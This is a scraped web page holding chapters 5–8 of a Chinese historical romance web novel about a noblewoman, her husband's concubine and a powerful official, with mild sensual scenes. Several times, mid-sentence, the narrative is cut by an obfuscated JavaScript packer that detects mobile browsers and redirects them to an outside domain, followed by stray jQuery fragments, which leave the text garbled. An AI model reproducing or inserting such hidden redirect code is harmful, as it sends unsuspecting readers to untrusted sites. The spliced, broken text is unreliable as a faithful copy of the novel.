“主子,好了,您瞧。”春喜的声音轻而缓,似是怕惊扰到她。 岑景舒依言向铜镜中望去,并不太在意,妆发一直由春喜打理,而春喜的手是丫鬟中最巧的,素来没出过任何差错。 “嗯,不错。” “稍后去给大夫人请安。” 春喜得了夸赞眼睛一亮,应了声是,而后哼着小调去内室挑选搭配衣衫去了。 收拾妥当过后,她便带着春喜出了踏雪阁,只是还未走出几步,却见崔怀鹤伫立在云竹院外,远远望去那抹身影似乎与竹林融为一体。 她脚步一顿,崔怀鹤似是听到了动静转过身,二人对上视线,风掠过竹叶吹到他的眼底掀起片刻波澜。 岑景舒心神微怔,紧接着便听到他温润的声音响起。 “见过长嫂。” “执潭有些话想说,不知长嫂是否方便?” 5. 第五章 崔怀鹤得到肯定的回应,便上前两步,停在一个不会过于冒犯,又足够私密的距离,他轻声道:“若谢中书敢对长嫂不敬,可以来云竹院寻我。” “我身在崔府,二公子多虑了,多谢二公子提醒。”岑景舒神色不变,并没有太放在心上。 “那执潭告退。” 岑景舒若有所思地目送他走远,这才去往大夫人的院子。 “书琴,给少夫人添茶。” 岑景舒浅笑着回到位置上,望着大夫人赞叹道:“母亲肤若凝脂,岁月都未曾留下半点痕迹,若叫旁人来看,定然觉得您不是儿媳的母亲,而是姐姐。” 大夫人如今约莫三十七八,没有任何女人能拒绝这样的夸奖,大夫人眉眼间尽是笑意,应道:“尽溪今早是吃了蜜饯吧,嘴这么甜。” 岑景舒没有反驳,而是提起了另一桩事,柔声道:“前些日子听书琴说,母亲身子不大好,尽溪甚是担忧,左右闲来无事,愿侍奉在母亲身侧。” 不料大夫人却想也不想便拒绝了。 “不必了,我身子并无大碍,老爷惯爱小题大做,你不必放在心上。” 岑景舒闻言也没有强求,起身行了一礼,道:“母亲保重身子,那尽溪便先行告退。” “退下吧。” 岑景舒带着春喜又回到了踏雪阁,正当春喜准备上早膳时,被岑景舒制止道:“没胃口,不用上了。” “那怎么行呢主子,奴婢命小厨房的人熬制了米粥,养胃还不油腻,吃一些吧主子。” 说着说着春喜便急急忙忙跑了出去。 岑景舒叹了口气,这丫头。 用过早膳后,她在房中盘点着嫁妆铺子以及一干陪嫁丫鬟的用度,她并不习惯用算盘,手中的笔杆快要挥出残影,空白的卷轴上被写满了字符。 春喜便在一旁研磨,时不时将冷掉的茶重新换上温热的。 直至日光逐渐驱散屋内的阴霾,已经过了午时,该要用午膳了,她才将笔搁下,并把那些卷轴全部丢进火盆内。 岑景舒伸了个懒腰,舒展着酸麻的身体,随之胃里突然传来阵阵绞痛,细密的汗珠顷刻间布满额头,脸色也霎时变得惨白。 “主子!” 春喜惊呼一声,立刻从内室拿出一个玉瓶,倒出一粒药丸,并把温热的茶水递给自家主子。 岑景舒接过后,迅速将药丸咽了下去,缓了有一刻钟脸色才稍有好转,胃里虽说还有些轻微绞痛,但不影响正常走动了。 “主子,您以后早膳还是要按时用,否则您这胃疾又要复发了,下次若是您再不按时用膳,奴婢可要强行按着您吃了。” 春喜边念叨着边往火炉里加碳,接着道:“您就算事后打死奴婢,奴婢也还是会这么做的。” “午膳奴婢已经吩咐小厨房备好了,都是主子爱吃的,还备了奴婢特制的兰花茶,您稍后尝尝味道如何?” 岑景舒深吸一口气,浑身被冷汗浸湿,里衣贴在皮肤上,哪里还有心情用膳,道:“备水,沐浴。” 方才还说要按着主子吃饭的春喜愤愤不平了半天,终究没那个胆子施行,还是按照主子的意思去备水了。 岑景舒将衣服一件件褪下,整个身体被热水淹没,雾气升腾将白皙的脸熏得通红,粘腻感登时一扫而空,连隐隐作痛的胃都被抛之脑后。 她眯着眼享受着,春喜还会时不时来添热水,丝毫不必担忧水凉了会染风寒。 正当她快要睡着之时,清冽的兰花混着独属于茶的清香的味道传来,她睡眼朦胧地缓了片刻,这才看清楚浴桶旁放着的膳食和茶水。 春喜低垂着眼帘,添了些热水后道:“主子,快些吃吧,奴婢挑了几道爽口的菜送来了,记得尝一下奴婢特制的茶,奴婢告退。” “嗯。” 岑景舒觉得此刻浑身上下每处皮肤都仿佛被打通了任督二脉般,无比顺畅惬意,然而身体终究没能抵制住身侧美食的诱惑,久违的饥饿感袭来。 但她并没有急着去宠幸那些色香味俱全的佳肴,而是端起了茶杯轻缀了一小口,兰花和茶叶的香气在舌尖炸开,咽下去后唇珠还留有余香。 好茶。 她将剩余的茶慢悠悠喝完,这才开始进膳,但刚吃下两口,便觉得无比乏味,忍着不适又吃了一些,堪堪饱腹便立刻将其搁置一旁,安心泡起澡来。 悠闲的日子没过多久,五六日一晃而过,外出办事的夏意回来复命,告知她事情均已办妥,现下霜月正在太傅府。 岑景舒得到了确切的消息,次日前去向大夫人请安之时,便有意无意提及为长公子纳妾一事。 “尽溪,我知你是个懂事的好孩子,我说过不会过多插手你二人之间的感情,你既做了少夫人,有些事你自己做主便好。” 大夫人神色依旧言笑晏晏,没什么变化,看上去确实不是很想管的样子。 岑景舒点头应下,只说会留意着,也不着急非要拟出个章程,并未透露霜月要进府一事。 而一连几日不见个踪影,听闻此事的崔怀松立刻出现在了她眼前。 崔怀松面色憔悴,眼下一片乌青,拖着声音含混不清地问道:“景舒,你有把握吗?” 岑景舒停下脚步,应道:“长公子静候佳音便是,若无别的事,我先走了。” 说罢,她不给崔怀松反应的时间,带着春喜立刻转身快步离开了。 “景舒,景舒!” 身后崔怀松的叫喊声愈来愈小,直到听不见他的声音后,这才放缓步子,欣赏着红梅覆雪的绝色。 昨日夜里刚下过一场大雪,府上道路上的雪小厮早已清扫干净。 按理来说其余地方的雪也是要处理的,只是因为大夫人爱赏雪景,因此老爷子特意下令只需清扫各院子中的路即可。 也就有了现下天地无尽白,唯有一株红的美景。 春喜突然伸手晃了晃梅树的枝桠,激起大片雪花纷纷落下,更加娇艳的红梅完整地露出,傲然绽放于隆冬霜雪中。 猝不及防被落雪淋了满身的岑景舒无奈一笑,她先是将身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我是不是太惯着你了,再有下次,自己去找夏意领罚。” 春喜不情不愿应道:“是,奴婢知错了。” 岑景舒手上飞快计算着账目,却也不耽搁一心二用,心中盘算着找机会让夏意好好磨一磨春喜的性子。 这丫头,太随性了些。 她翻了翻这本账簿剩余的页数,估摸着还需要三刻钟便可对完,至于余下的一摞,今日注定是无法处理了。 春喜被她呵斥了几句,也不敢再多说些什么,只一味地研磨。 她加快手上动作,全神贯注沉浸在账目之中,最后不到三刻钟便算完了这本。 春喜见她搁笔,停下研磨的动作,上前为她揉了片刻手腕,轻声道:“主子,要喝茶吗?” 岑景舒摇了摇头,道:“走吧,去厢房。” 天空又落下柳絮般大小的雪花,呼啸的寒风将寒意透过大氅吹进骨缝,冷得吓人。 岑景舒瞥了一眼春喜,将怀中的手炉不由分说塞到了她手中,道:“伞给我,你畏寒,踏雪阁没外人,揣着便是。” “主子对奴婢最好了!”春喜乐呵呵接过手炉,瞬间忘记方才书房内的不愉快,喜上眉梢。 春喜重新变成了活泼的鸟,依偎在她的身边,叽叽喳喳在她耳边说个不停。 “夏意姐姐!这么冷的天,你怎么在外面站着?” 6. 第六章 岑景舒抬头望了眼漫天飞雪,又看了看一动不动守在门外,肩前些许发丝结了层冰霜的夏意,眼神暗了下去,转瞬后又恢复如常。 她快步走了过去,见春喜将手炉塞给了夏意,手炉的暖意很快便将夏意发丝上的冰霜融化,湿漉漉粘成了一缕。 “夏意,你回吧,记得去小厨房要一碗姜汤。” “是,主子。” 夏意又将手炉送回春喜怀中,在春喜还没反应过来前大踏步离开了。 “夏……” 岑景舒拍了拍春喜的肩膀,低声道:“好了春喜,夏意会一些武功,身子骨比你我好多了,不用担心。” “可。”春喜抱紧了火炉,紧咬着下唇,眸中充满了怒火死死瞪着厢房门。 门“吱呀”一声从里面被拉开,一张我见犹怜楚楚动人的脸露出,来人弯了弯眉,让出了位置笑道:“是姐姐来了。” “谁是你姐姐,不要脸!”春喜垂着头,“小声”嘟囔着接话道。 霜月脸上浮现尴尬之色,瞬间泪水便已蓄满了眼眶,却忍着未让泪珠滴落,苦笑一声后自嘲道:“是霜月给姐姐添麻烦了,都是霜月不好。” 岑景舒拉过霜月的手,笑着安抚道:“怎会?这里哪有什么霜月?你是我的义妹,岑父的二小姐,岑景月。” “妹妹可要记住了,不要忘了自己的身份。” 她意有所指说完这句话后,偏过头轻声呵斥道:“春喜,给二小姐道歉,然后去找夏意领罚。” “主子!” 岑景舒冷下脸,沉声道:“需要我重复第二遍吗?” “是奴婢不好,冲撞了二小姐,还请二小姐恕罪。”春喜敷衍地朝着霜月行了一礼。 而后也没等霜月回话,又朝着二人分别行了一礼,道:“二位主子聊,奴婢去找夏意姐姐领罚了,奴婢告退。” 说罢,春喜便气呼呼走了。 霜月全程没有插上一句话,末了犹犹豫豫望着春喜的背影道:“姐姐,能不能不要罚春喜,我知晓,她也是为了姐姐好。” 岑景舒同样转过身去看春喜的背影,挡住了霜月的视线,声音如同方才一样带着笑意,脸色却彻底冷了下来。 “无碍,让她长些记性罢了。” 她再次转过身时,唇角勾起,挽着霜月的胳膊宛如亲姐妹般进了厢房,道:“不提那丫头了,妹妹找我来,是有什么事吗?” “找我来有什么事?” 清冷的声音在房间内响起,夏意用手帕仔细来回擦着剑刃,分出神来询问坐下后一言不发,但明显窝了满肚子气的小丫头。 “主子让我来找你领罚。” 夏意擦剑刃的手一顿,而后将剑插回剑鞘,帕子被丢在一旁,顺手拿起一众刀剑中摆放着的长棍,应道:“跟我来。” 春喜十指握拳,猛然砸在桌案上,几个茶杯被震得哗啦作响。 “凭什么!” 她愤恨道:“本就是那贱女人同长公子苟合,主子大发慈悲允她入府,还费尽心思为她弄了个假身份,她就是这么回报主子的!” “她在厢房内烤着炭火,让你在冰天雪地里守着,若是换了个体弱的,非要冻坏身子落下病根不可!” “这不就是打主子的脸吗!” “你也是,主子也是,都那么纵着那贱人做什么!” 夏意沉默听完她的控诉,点了点头,冷静道:“主子自有她的打算。” “过来领罚。” “夏意!” 夜幕悄然降临。 岑景舒回到书房,拿起新一本账簿,下意识道:“春喜,研磨。” “是。” 听到跟外面的寒风一般无二的声音后,岑景舒抬起头,看到夏意有些粗糙的手在稳稳研磨。 随即她便想到了春喜被罚一事。 她摇了摇头,轻笑一声,道:“我让春喜去找你领罚,那丫头娇气得很,你还真舍得用力打。” “主子吩咐,奴婢不敢不从。” 岑景舒挑眉,夏意和春喜不同,春喜缺心眼性格直来直去,心里想的是什么,全表现在脸上了。 而夏意则是用坚硬冰冷的外壳包裹住一颗炽热柔软的心,心思缜密而又善于伪装,若不是熟悉的人,很难察觉出其究竟在想些什么。 但好巧不巧,熟悉夏意的人不多,她算一个,春喜算半个。 “你知我罚春喜是为了什么,那丫头这样的性子,日后去了夫家,是要吃亏的。” “至于霜月,我想你也明白。” 夏意研磨的动作不停,回道:“是,奴婢明白。” “那就不要再想此事了,待日后我带你和春喜去逍遥快活。” “不必研磨了,歇息吧。”岑景舒合上账簿,眼眶有些发酸,困意席卷全身。 “是。” 崔怀松纳妾一事并未引起太大轰动,一来他风流成性的形象深入人心,二来崔府也是按照正常纳妾礼举办,并未大肆宣扬。 寻了个黄道吉日,一顶小花轿抬入府,而后向府上主子敬茶,此后霜月便彻彻底底是崔怀松的人了。 小妾没有独立的院落,只分了几间偏房,但崔怀松不忍他的霜月妹妹受委屈,便将人接到了他的院里。 嬉笑声透过墙瓦混着风雪传来。 “吵得人心烦!”春喜斜了一眼白墙,手下一个用力不小心把一株红艳的山茶花折了下来。 春喜手僵硬停住,偏头有些心虚地瞄了一眼正在认真修花的夏意,眼珠滴溜溜转了几圈,轻咳道:“夏意姐姐,你去那边修花吧,这边交给我吧。” 夏意没有抬头,依旧在认真修理着花朵,却好似背后长了眼睛,淡声道:“放下吧,我会向主子解释。” 春喜闻言立刻将手中的花朵丢下,跑去挽住夏意的胳膊,道:“夏意姐姐最好了!” “主子喜欢你是不会罚你的,千万不要跟主子讲是我弄坏的!不然主子非要扒了我的皮不可!” “嗯。” “有人来了。” 春喜不疑有他,下意识转过头,脸上还带着劫后重生的笑意,而后缩着头迅速躲到了夏意后面。 “主子!” 岑景舒无奈一笑,道:“看来上次还是罚得轻了。” “好了,别闹了,我出去一趟。” 她将腰间玉佩取下,又找出面纱,连同一身夸身绯红色艳丽风格的衣裙装进一个包裹,带着一个堆满了金银珠钗的盒子便出了门。 春喜和夏意一头雾水,但也没有多问,目送着自家主子闲庭信步走了出去。 马车上— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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岑景舒关上雅间门后长舒一口气,首次出来玩男人的刺激感使心脏止不住狂跳,随便扫了一眼布局,随意找了个地方盘膝而坐,平复着七上八下的心情。 她脑海中又回忆起那男子的面容,狭长的眼睛本应是妖冶的,可那人高挺的鼻梁和紧绷的薄唇,给人一种极强的冲击。 就好似开在枯骨之上的玫瑰花,神秘而危险,诱惑引导你坠向无尽深渊。 岑景舒等了片刻后也不见有人上来,想来那掌柜从别的小姐那里将人要走,也要废不少时间,索性认真打量起雅间的布局来。 装饰器具什么的都中规中矩,算不得奇珍异宝,但也不是寻常物件,尤其墙上挂着的几副字画中,有几副她还颇为欣赏。 桌案之上茶具、酒具、香炉等一应俱全,琴桌之上放了厚厚的一本册子,应当就是那掌柜的口中的画册。 除下这些,便是各种五花八门的用具了,锁链、鞭子、绳索…… 岑景舒抿了抿嘴,视线重新落回那厚厚的册子之上。 正当她想要起身去看册子时,门外传来不轻不重的脚步声。 是她要的人来了。 岑景舒不禁有些出神,待会要怎么玩? 7. 第七章 那些用具有些太重口了,她不太喜欢。 “小姐,在想什么?可以跟阿野分享一下吗?” 她回过神,伸手搓了搓有些酥麻的耳朵,这人的声音低沉沙哑,勾得她的耳朵和心都有些痒。 “阿野?” “我在。” 岑景舒轻笑一声,起身抓住阿野的袖摆朝着内室的床榻走去。 她想好了,不怎么玩,直接进入正题。 将人推倒在床榻之上后,她跨坐在阿野的大腿之上,假装老练地伸出手去扯他的衣衫,奈何她对这些一窍不通,实在不知从何下手。 蓦然,一双大手将她的手拢住。 岑景舒一怔,眼神微变,这人的手掌之上指根处有着厚重的茧子,在南天楼的男子从不做力气活,他分明是习武之人! 她的手顺着阿野的力道向上偏移,她的视线也顺理成章地再次转移到他的脸上。 不过这次吸引她的不是那张邪到发正的脸,而是阿野左耳隐在发丝之下的耳环。 那是纯黑色寒玉制成,不加任何雕刻,依稀能从耳环上看到摇曳着的烛火倒影。 整个大盛佩戴着这样耳环的唯有一人。 阿野。 谢在野。 谢家家主,谢在野,字无咎。 那个她避之不及的疯狗,如今正在她的身下,还马上要进行鱼水之欢。 岑景舒猛然将手抽走,一言不发地翻身下榻,转身便走。虽说有面纱遮挡,可谢无咎这样位高权重的人,铁了心想要查出她的身份还是很容易的。 先前,这厮还明目张胆把给她的情书,送给了她夫君的亲弟弟代为转交,简直是肆意妄为。 若是让他知晓了她的真实身份,还不得夜夜爬墙头来骚扰她。 “往哪跑?” 她的袖摆被一只大手拽住,随即身体猛然向后倾斜,倒在了一个温热的怀抱中。 岑景舒反抗不得,被迫趴在谢无咎的胸膛之上。 她心思一转,低声道:“阿野,我下次再来寻你,我想起来府上还有些事情尚未处理,乖乖阿野,听话。” “哦?是吗?” 岑景舒手心冒出冷汗,看来这种形式行不通,听着谢无咎上扬的语调,莫名有种要大难临头的感觉。 “你穿红衣,果然还是很好看。” 岑景舒直挺挺躺在他身上,企图做最后的挣扎:“阿野在说什么?我听不懂。” 冰凉的指尖覆上她的耳垂来回摩挲着,她缩了缩脖子,因着视线被遮挡,身体的感官被无限放大,那抹凉意顺着耳垂席卷全身。 谢无咎闷笑一声,胸膛随着上下起伏,没有再说些什么,而是不断揉捏手中的软肉。 堂堂中书令,为何会出现在南天楼? 岑景舒尽量忽视那胡乱游走的手指,猜测着谢无咎出现在这里的原因。 莫非谢无咎男女通吃? 随即她就否认了这个猜测。 达官贵人好男风者不在少数,这并不算什么难以启齿的癖好,以谢无咎变化莫测的性子,若是喜欢男人,应当是不屑于隐藏的,府上早该男宠无数了。 可若不是喜欢男子,为何来南天楼? 她想到掌柜的惊恐的眼神和颤抖的语气,原以为是她抢了哪家高官夫人的心尖宠,现下看来,那掌柜的是知晓她要的人是谢无咎,所以才会是那副表情。 那么一切便就都说得通了。 南天楼,是谢无咎的产业。 她艰难伸手捂住胸口,挡住了在她锁骨流连许久,想要更进一步的手,道:“阿野,我真的要走了,明日我再来寻你。” 三十六计,走为上计。 今日她走出南天楼,这一辈子再也不会踏入这里半步。 “不许走。” 岑景舒眼前一花,体位反转,被谢无咎压在了身下。 她拨开谢无咎垂落在脸上的发丝,那双威慑力极强的眼睛定定地看着她,这个距离太近了,她眼底的慌乱一闪而逝。 气息交错间,她察觉到谢无咎的神色微动,似乎是被她这个反应取悦到了。 她错开视线,心下有了计较,大概知晓谢无咎偏爱她展现出什么样子了。她偏头放柔了声音,道:“阿野,我……” “唔!” 岑景舒睁大眼睛,未说完的话被冰凉的唇堵了回去,谢无咎似乎是刚喝了茶,唇齿间还留有微涩的茶香。 就这怔愣的一瞬间,谢无咎的舌头轻易撬开她的牙关,长驱直入,攻城掠地。 炽热急促的呼吸交相缠绕,不分你我。 谢无咎的吻和他的人一样,不讲道理。 周围气温陡然升高,她面色通红,眼底蒙上一层水雾,意识也逐渐模糊,整个人仿佛在云端里沉浮,软得不像话。 不知过了多久,久到她有些窒息,这个吻才终于结束,她无力地瘫软在榻上,下意识呢喃出声。 “谢无咎。” 一声轻笑唤回她所有的理智。 下一瞬,带着些许缱绻意味的声音响起。 “我在。” 岑景舒缓缓将因为接吻而快要掉落的面纱向上拉了拉,盖得更严实了些,这下真的有些想死了,欲盖弥彰道:“阿野,你能不能装作没听到。” “都听你的。” “那让我走。” “这个不行。” 岑景舒伸手推了推他的肩膀,发现推不动后,又将手缩回被褥之中,讪笑道:“谢中书大人,我知错了,我头次来什么也不懂,冒犯了大人,你行行好,放过我。” “我当真不是有意的。” “我保证,日后定会洗心革面,日日抄诵《女德》,再也不踏足风月之地,大人英明神武心胸广阔,求大人大发慈悲,饶了我这一次吧。” 她生怕这位爷一个不高兴掐死她,连连可怜兮兮地讨饶,本就含情的桃花眼中泛着水光,眼泪欲掉不掉。 这是她从霜月那里学到的。 装可怜嘛,她也行。 “景舒,不知你我现在这样,于礼合还是不合?” 岑景舒的表情险些没稳住,前不久才让二公子带话,义正言辞拒绝了他,现如今便同他厮混在了一张榻上。 这个要命的问题,她决定不做回答。 好在谢无咎并不是真想要一个答案,他的鼻梁亲昵地蹭了蹭她的脸,有些痒。 “景舒,把面纱摘下来。” 岑景舒依言将面纱摘下,露出白里透红的脸,和红肿的嘴唇,仔细看去上唇还有一处破了皮,洇出血丝。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16445728|185096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这人精明的很,恐怕她一进南天楼时,便已认出她来了,所以才会直勾勾盯着她看。 若她选了旁人,最后进来的人,也只会是谢无咎。 原本她还不太确定,谢无咎那封信是一时兴起还是另有图谋,经此一遭,可以肯定的是,这位谢中书大人,确实对她有些兴趣。 尽管如此,她也不想在这样的情况下,跟他发生些别的什么。 她来此本来就是图个消遣。 一个吻又落了下来。 岑景舒回过神,虽然同他接吻的感觉还不错,但唇瓣已经有些刺痛,是万万再也经受不住那样的吻。 她呜咽几声,泪珠从眼尾滑落,无声地控诉。 谢无咎呼吸一滞,抬起身用拇指拭去泪痕,末了在她眼角落下轻轻一吻,声音低哑道:“哭什么?” “让你走便是,日后还会相见的。” 说罢他起身坐在榻边,垂眸盯着榻上的人。 岑景舒眨了眨眼,心中暗道果然这厮吃这一招,但看着他漆黑深不见底的眼睛,又有些拿不准这人的真实想法。 她哼唧两声,试探性地重新遮上面纱,而后缓缓坐到他的旁边,小心翼翼道:“大人,那我真走了?” “若你执意想留下来,也不是不行。” 岑景舒立刻站起身行了一礼,道:“大人说笑了,今日之事是尽溪冒犯了,尽溪先告辞了。” 她说完就走,丝毫不拖泥带水。 毕竟这人随时都有可能反悔。 出了南天楼后,她便转头去了附近不远处的一家客栈,这家客栈每日进出客人最多,虽说人多眼杂,但浑水摸鱼也更加容易。 岑景舒买了一间上房,便让小二带着她去休息了。 待小二走远后,她将满头的珠钗一一取下,全部放进来时的那个匣子中,又换上了另一套不显眼的常服。 她环视一圈,不放过房内任何一个可以藏匿东西的角落。 最后,她的视线落在内室的香炉之上。 岑景舒三两步便行至香炉前,足有她半人高的香炉可以容纳很多香灰,相应的这样的香炉清洗起来也异常麻烦,因此不到万不得已,一般没人会来清理香炉。 她将包裹丢进香炉内,瞬间荡起满屋灰尘。 岑景舒早有预料,猛然后退几步,成功避免了被香灰淋个满身的下场。 这里便是她早就想好的退路。 其实原也不必如此麻烦,因为南天楼的人考虑到来光临生意的夫人小姐,定然是非富即贵,那么她们自然不希望有旁人知晓自己来过南天楼这等场所。 所以南天楼特意打造了一个密道。 从城外郊区某处进入,可直达南天楼内部。 南天楼将消息瞒得很紧,这个地方只有南天楼的老顾客知晓,若没去过南天楼的人想从密道进入,只能有相熟的去过的夫人带领。 因而她只能出此下策,先来南天楼试试水,花销足够多的银子,那掌柜的自然会告知她密道所在。 如此一来,她下次便能带着春喜和夏意过来,让那两个丫头也潇洒一番。 可惜的是,这一切都被谢无咎那个混蛋搅和了。 岑景舒咬牙,指尖轻触了下唇瓣上的伤口,日后定要他为此付出代价。 8. 第八章 “主子,您的嘴唇怎么了!” 春喜着急忙慌去拿药膏,急得满头是汗,小跑着回到书房内,把小玉瓶搁在账簿上,道:“主子先涂药,再看账本不迟。” “主子,是谁欺负您了吗?” 春喜还想要再说,被一旁的夏意单手捏住后颈,而后另一只手揽过她的肩膀,强硬地把她拽走了。 岑景舒摸了摸没什么感觉的唇瓣,从客栈出来时,还特意确认过嘴唇的红肿已经褪去,莫不是那里的铜镜有问题? 她起身来到书房的铜镜前,对着铜镜仔细分辨了片刻,才发现那处破皮的地方,留下了浅浅的一道痂痕。 这丫头,虽说脑袋不太灵光,但好在眼神不错。 只是没用对地方。 南天楼她是暂时不想去了,等过一段时日前朝便该忙起来了,趁着谢无咎分身乏术之时,再做定论。 她眸色一暗,现下该算账了。 “夏意,进来。” ** “主子,咱这样做会不会不太好啊。”小丫鬟扯出一个比哭还难看的笑容,怯生生道。 “怎么会呢?我做这些可都是为了姐姐好啊,姐姐会理解我的,夫君也是。” 霜月勾唇一笑,为有些苍白的脸增添了一丝鲜活的气息,很快又消散。 一旁的小丫鬟缩着脖子低下头,唯唯诺诺不敢再出声。 小丫鬟还在出神,眼前一阵恍惚。她揉了揉眼,放下胳膊的瞬间,便看到一条约莫二指粗细,通体花纹的蛇,正竖着瞳孔幽幽地盯着她。 “啊——” 一声凄厉的尖叫响彻整个院子,还传到了不远处的踏雪阁内。 岑景舒合上账簿,瞥向窗外,道:“春喜,随我去瞧瞧发生了什么事。” 她刚出踏雪阁,便见到前头不远处,一干拎着木棍铁棍的小厮匆匆跑向崔怀松院子。 春喜挠了挠头,望着自家才思敏捷的主子,真诚发问道:“他们带着棍棒去长公子的院子,是想要造反吗?” “下次这种问题憋在心里就好了。” “主子,这又是为什么?”春喜更加不解。 岑景舒轻叹口气,道:“稍后我给你几本书,你闲来无事便仔细看看,我会让夏意抽背。” “是。” 她偏过头瞥了春喜一眼,果然看到春喜满脸疑惑,但又不敢再接着往下继续问的神情。 算了算了,小丫头而已,不必那么精明。 快快乐乐的便好,天塌了还有她顶着,砸不到这个没脑子的小丫头。 “呜呜呜……” 方行至霜月的院外,便听得其内传来断断续续的抽泣声,以及崔怀松的厉声质问。 “为何深冬时节,阿月的院子内会有毒蛇出没?!” “府上养你们是吃白饭的吗?!” “查!给我查!” 岑景舒踩着他最后一个字落下的瞬间进了院子,小厮丫鬟跪了一地,大气都不敢出,霜月面色惨白颤抖着身子缩在崔怀松的怀中,眼眶通红,一看便是哭过的。 至于那个发出尖叫声的丫鬟,却不见了踪影。 “出什么事了?” 崔怀松见来人是她,稍稍敛下去怒气,应道:“阿月本来在院中赏雪,阿月的贴身丫鬟小青发现了一条毒蛇,为了保护阿月被咬伤了。” 说到此处,他满眼心疼,低头轻捏了几下霜月的脸,又轻声哄了几句,这才抬头继续说道:“那条蛇已经处理掉了。” “现下深冬,怎会有毒蛇出现?此事我定会查个水落石出。” 岑景舒点了点头,缓步上前,珠钗摇而不晃,在距离二人约莫二寸远的距离停下,看着泫然欲泣的美人,关切道:“妹妹怎么样了?” “可有伤着?” “谢姐姐关心,我并无大碍。”霜月用手帕轻轻拂过眼尾,而后在手中攥紧,十分愧疚地继续道:“只是可怜了我身边的丫鬟小青,现在还在昏迷中。” 岑景舒适时接话道:“妹妹,此事非同小可,我稍后亲自去通禀母亲,定要揪出那幕后真凶,给妹妹一个说法。” 随即她看向崔怀松,温声道:“夫君事务繁忙,这后宅琐事,便交由母亲处理,我从旁协助即可,不劳烦夫君亲力亲为。” 崔怀松思虑片刻,懂了她话中的言外之意,揽住了霜月的腰,道:“如此也好,那便由你和母亲一同查处此事吧。” 府上如今是大夫人掌家,内宅事务如何处理,应由大夫人先发话,就连老爷来了,也要给大夫人这个正妻面子,更何况是身为儿子的长公子。 岑景舒得到想要的结果,也不准备在此久留,道:“妹妹受了惊吓,快些歇息吧,我这便去寻母亲。” “谢过姐姐,姐姐慢走。” 四下无人,春喜左看右瞧,这才低声问道:“主子,夏意姐姐去哪里了?这么大的热闹她居然不来瞧瞧。” 岑景舒轻笑一声,随意应道:“应当是跑去哪里躲懒了吧。” 春喜哼哼唧唧,看样子就是不信她这一套说法,但是碍于说这话的人是她,又不敢反驳,只好做出些小动静表示不满。 长公子院内出现毒蛇一事闹出的动静不小,大夫人已差不多全然知晓,她带着春喜过去禀告,不过也是走个过场。 她照常将事情简述一番,又表达了对霜月的怜惜,以及对凶手的痛恨,末了请求大夫人严查到底,以正风气。 “对此事我也略有所闻,日后阖府上下迟早是要交于你的,这件事便由你来彻查吧,期限三日,不要让我失望。” 岑景舒抬头,大夫人神色淡然,于是便没有推脱,应道:“尽溪定不辜负母亲的期望,三日后必会将那凶手揪出,交于母亲处置。” “好孩子,去忙吧。” 走出大夫人的院子后,春喜再也压抑不住激动的心情,围着她手舞足蹈,蹦蹦跳跳个不停,一双杏眼亮晶晶的,有些晃人。 她一把按住春喜的头,让其不再像个脱了线的风筝似的到处跑,随后轻斥道:“没出息的小丫头。” 春喜不以为意,顶着主子的手,接着摇头晃脑道:“这怎么是我没出息呢?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16445729|185096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说罢她做贼似地左看右看,确认四周只有她们主仆二人后,将声音压到最低,道:“崔府宅院的掌家权啊!” “主子,崔家可是跟谢、王、柳家齐名的世家大族,主子要是做了当家主母,日后满洛京,甚至整个大盛,谁敢再瞧不起您,不都要上赶着巴结您吗?” 岑景舒屈起手指,赏给眼前这个不知天高地厚的小丫头一个爆栗。 “不要乱说,哪有你想的那么简单。” 人人都想要飞上枝头变凤凰,可这凤凰并不是谁都能做的,有时候再华贵的外表也掩饰不住内里的贪婪,不过是徒有其表罢了。 这样的人,不仅不会受到尊敬,还会沦为笑柄。 她脑海中闪过父亲母亲在她出嫁时的表情,仿佛崔府已是他们的囊中之物一般,思及此胃里便一阵翻江倒海,随即熟悉的绞痛感袭来,冷汗瞬间便浸湿了里衣。 “主子!” “主子你怎么了?不要吓奴婢!” 岑景舒视线逐渐模糊,大脑中尽是尖锐的嗡鸣声,听不到春喜在说些什么,只隐约看到春喜的嘴巴一张一合,意识消散前最后一眼看到春喜惊慌失措带着湿意的眼睛。 她想,小丫头又要哭鼻子了。 随后便彻底陷入了无边黑暗之中。 ** 热。 不仅如此,她还感觉到身上沉甸甸的。 她拼命想要睁开眼睛,奈何眼皮像是灌了铅,无论她怎么用力,始终无法撼动分毫。 耳畔传来有些急促的呼吸声,温热的气息洒在她的脖颈之上,还有个冰凉的玉石物件磕到了她的脸颊,有些痒。 她几乎是瞬间,便猜测到了来人是谁。 粗粝的手指划过她的额头、鼻梁、唇瓣、脖颈、锁骨,激起身体下意识阵阵战栗。好在手指的主人没有太过放肆,而是将手指重新放回唇瓣之上,不轻不重地摩挲着。 